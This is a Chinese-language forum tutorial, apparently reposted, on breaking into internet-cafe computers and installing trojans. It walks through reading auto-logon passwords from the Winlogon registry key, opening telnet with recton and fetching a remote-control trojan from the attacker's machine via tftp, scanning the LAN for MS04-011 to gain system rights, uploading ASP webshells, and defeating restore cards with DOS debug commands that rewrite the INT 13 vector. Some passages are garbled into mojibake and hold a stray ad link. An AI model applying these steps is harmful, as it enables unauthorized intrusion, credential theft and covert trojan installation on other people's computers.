[[wiki]wiki[/wiki]][/wiki]经常看x档案，发现关于破解pubwin和万象的文章比较多，今天我决定写点网吧入侵方面的文章，希望对一些小菜有所帮助.
一. 网吧入侵
入侵的方法很多，但对网吧入侵最常用的方法是什么呢？首先，自动登陆。现在网吧一般都是win2000或者[wiki]windows[/wiki] [wiki]XP[/wiki]的机器，网管一般都把机子设置为自动登陆！这样我们开机进入[wiki]系统[/wiki]礫wiki]氖[/wiki]焙虻锹酱翱谝簧炼∽攀焙蛉绻颐莊indfass.exe试图把登陆账号密码找出来是不会成功的！因为账号密码根本不在内存中，而findfass.exe通过winlogon的PID号和正确的[wiki]域名[/wiki]中，在内存寻找好段加了密的内存块(保存着加密过的登陆密码)，然后对它进行解密，这样就能得到明文的密码。实际上自动登陆的账号密码都在注册表中。我们打开注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\这个目录下，AutoAdminLogon这一项的键值为1，表示自动登陆。为1的时候，打开控制面板的用户和密码，会发现需要密码前面的钩已经去掉了。DefaultUse[wiki]RNA[/wiki]me对应的键值就是登陆用户名，DefaultPassword对应的键值就是登陆密码。实际上海洋顶端木马2006就有着一功能，原理是一样的，不过因为权限的问题，不一定能读出来。这样，密码账号我们都找出来了。而且你要[[wiki]URL[/wiki]=http://action.vogate.com/click/click.[wiki]PHP[/wiki]?ads_id=733&site_id=6235007045037570&click=1&url=http%3A//www.jkyd.net&v=0&k=%u77E5%u9053&s=http%3A//bbs.hackarea.com/read.php%3Ftid%3D59&rn=794598]知道[/url]，一个网吧的自动登陆密码账号一般都是一样的，而且网管为了方便网虫上网一般把他们设置在[wiki]管理[/wiki]员组，至少user组。知道了密码账号还愁入侵不了么？网吧机子的server服务一般是禁用的，那我们就不能用ipc入侵了。opentelnet.exe我们也用不了，因为着个也依赖ipc连接，dameware远程控制也不行，道理一样。我们可以用recton着个小巧实用的工具来开telnet，这个工具在win2000下面特别好使。
如图1。
开了telnet后，我们telnet上去，先在本机打开t[wiki]FTP[/wiki]d32.exe,再telnet下面telnet -i myip get 3721.exe c:\3721.exe,这样就把我们的木马3721.exe比如radmin传过去了。
如图2。再在telnet下面直接运行3721.exe就ok了。
另一个方法就是ms04011漏洞，别以为着个漏洞已经过时了，在网吧这个漏洞还是相当普遍的，许多网吧的网管只会装游戏，重装系统，不重视着写漏洞，懒得打补丁！我们用DSScan扫描192.168.0.1-192.168.0.255,一般会你会很惊喜的。我们到用ms04011溢出工具溢出，一下子就得到了系统权限。
如图3.
还有很多入侵方法，你可以把xscan搬出来扫描一下。很多菜鸟喜欢用啊D工具包来扫网吧的空口令，实际上这个工具扫用户账号密码很弱，以前我试过，我用上面第一种方法发现网吧都有一个密码为空的管理员账篬wiki]牛[/wiki]冒工具包只扫出几台机子有这个账号。我经常用我的最爱
闪电狐——
火狐[wiki]端口[/wiki]扫描器来扫一下网吧主机，第一[wiki]服务器[/wiki]等。着个扫描器[wiki]速度[/wiki]很快，扫1到10000端口也要不了几分钟。如果发现服务器开80断口，自然是看是不是架设了
[wiki]网站[/wiki]。再看网站十分有漏洞，想办法传个asp木马上去提升权限。如果发现电影服务器装了serv_u,而且你有了一个账号，可以尝试一下serv_u的溢出。
二.网吧牧马
在网吧安装木马最重要的是把它的还原破了，现在网吧的还原系统一般有3种，即还原卡，还原精灵，冰点还原精灵。[wiki]硬盘[/wiki]还原卡其实所谓硬盘保护卡就是在ROM中写了一段HOOK INT 13的[wiki]程序[/wiki]，屏蔽了
一些功能调用如AH=3，5等，在中断向量表中INT 13的SEG，OFFSET
描述为[13h*4+2]，[13h*4]，将此中的程序先保存后，再替换为自己的代码，
当你AH=2的时，它便会call原始INT 13地址来完成(商周)作.
只要找到原始INT 13入口便可以为所欲为.
具体过程如下:
开机过程按住F8键,进入纯dos[wiki]环境[/wiki], 注";"后为注释.
出现提示符c:,
键入c:\debug,
- a100
- xor ax,ax
- int 13
- int3
; 寻找原始的int 13入口.
然后输入t回车，不断的重复，直到显示的地址形如 F000:xxxx
,后面的指令为:mov dl,80 (练练眼力-。按q退出.
记下这一地址, 在(0:13H*4)=0:4cH 处填入这个地址。
例如俺的得到的地址是F000:9A95
再次运行debug ,键入:
-e 0:4c 95 9A 00 F0 e的作用将数据表"95 9A 00 f0",写入地址0:4c开始的字节中.
-q
注： 填的时候要仔细，填错的话会死机。ok,破解完成.
这时在提示符c:\键入
c:\win
进入windows系统即可,那么这次你在windows系统中的一切(商周)作,随着下一次
的启动都会被还原卡存储起来。
这种办法大家都知道，不过操作起来也有点危险，弄不好启动不了。而且win2000没有dos环境,到底性不行呢？呵呵，我还没有
做这个危险的尝试。不过望上有很多关于破解还原卡的工具可以
下载，到底什么工具最好使，大家自己[wiki]测试[/wiki]。
至于还原卡，网上有密码读取器，不过着工具只能在win98下面使用。在win2k下面我们可以用winhex来破解，次方法很奏效，
应该是最好的办法。先随便输个错误的密码，弹出错误窗口后不动，用winhex查找主要内存，找到还原精灵，再搜索我们开始
输的错误密码。在错误密码的旁边应竅wiki]镁[/wiki]陀姓返拿苈搿Ｎ颐鞘淙胝返拿苈胱婢托辛恕Ｕ饫锖芗虻ィ筒唤赝剂耍
